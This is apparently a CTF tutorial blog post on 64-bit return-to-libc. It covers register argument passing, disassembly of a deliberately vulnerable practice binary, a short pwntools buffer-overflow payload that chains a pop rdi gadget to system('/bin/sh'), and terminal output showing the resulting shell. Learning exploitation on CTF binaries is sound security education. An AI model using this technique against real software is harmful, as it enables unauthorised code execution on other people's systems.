Return to Libc In 64-bit

For the past so many CTF’s i have been seeing so many binary’s of 64bit so i thought of learning some concepts that has main difference between 64bit and 32bit.
So the main difference is the way you pass arguments. In 32bit you pass the arguments using stack and in 64 bit you use registers.
So the first argument is stored in “rdi“, second in “rsi“, third in “rdx” and forth in “rcx“.
so using that concept we will solve ret2libc. You can download file

 

 

gdb-peda$ pdisass main
Dump of assembler code for function main:
   0x0000000000400606 <+0>:	push   rbp
   0x0000000000400607 <+1>:	mov    rbp,rsp
   0x000000000040060a <+4>:	sub    rsp,0x10
   0x000000000040060e <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400611 <+11>:	mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400615 <+15>:	mov    edi,0x4006f3
   0x000000000040061a <+20>:	mov    eax,0x0
   0x000000000040061f <+25>:	call   0x400490 <printf@plt>
   0x0000000000400624 <+30>:	mov    eax,0x0
   0x0000000000400629 <+35>:	call   0x4005bc 
   0x000000000040062e <+40>:	mov    eax,0x0
   0x0000000000400633 <+45>:	leave  
   0x0000000000400634 <+46>:	ret    
End of assembler dump.
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
   0x00000000004005bc <+0>:	push   rbp
   0x00000000004005bd <+1>:	mov    rbp,rsp
   0x00000000004005c0 <+4>:	sub    rsp,0x60
   0x00000000004005c4 <+8>:	lea    rax,[rbp-0x60]
   0x00000000004005c8 <+12>:	mov    edx,0x190
   0x00000000004005cd <+17>:	mov    rsi,rax
   0x00000000004005d0 <+20>:	mov    edi,0x0
   0x00000000004005d5 <+25>:	call   0x4004a0 <read@plt>
   0x00000000004005da <+30>:	mov    DWORD PTR [rbp-0x4],eax
   0x00000000004005dd <+33>:	lea    rdx,[rbp-0x60]
   0x00000000004005e1 <+37>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004005e4 <+40>:	mov    esi,eax
   0x00000000004005e6 <+42>:	mov    edi,0x4006c4
   0x00000000004005eb <+47>:	mov    eax,0x0
   0x00000000004005f0 <+52>:	call   0x400490 <printf@plt>
   0x00000000004005f5 <+57>:	mov    edi,0x4006df
   0x00000000004005fa <+62>:	call   0x400480 <puts@plt>
   0x00000000004005ff <+67>:	mov    eax,0x0
   0x0000000000400604 <+72>:	leave  
   0x0000000000400605 <+73>:	ret    
End of assembler dump.

so after observing the disassembling and after some work, read() inputs more then the buffer size. So taking advantage of this vulnerability we can overwrite the instruction pointer with some other arbitrary address.

So let’s our aim be breaking a shell, for that i am using “System” function and supply  “/bin/sh” as argument. As it is 64 bit our first argument must be in “rdi” register.

The below exploit will give out you a payload to capture a shell.

from  pwn import *

payload = ''
payload += "A"*104 #Buffer input
payload += p64(0x004006a3) #instuction pop rdi;ret; 
payload += p64(0x4006ff) #address of '/bin/sh'
payload += p64(0x7ffff7a5b640) #address of system

print payload
➜  ret2libc64bit  (cat inp /dev/stdin) | ./classic
Try to exec /bin/sh
Read 129 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
id
uid=1000(nuc13us) gid=1000(nuc13us) groups=1000(nuc13us),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare)

Here is the shell 😛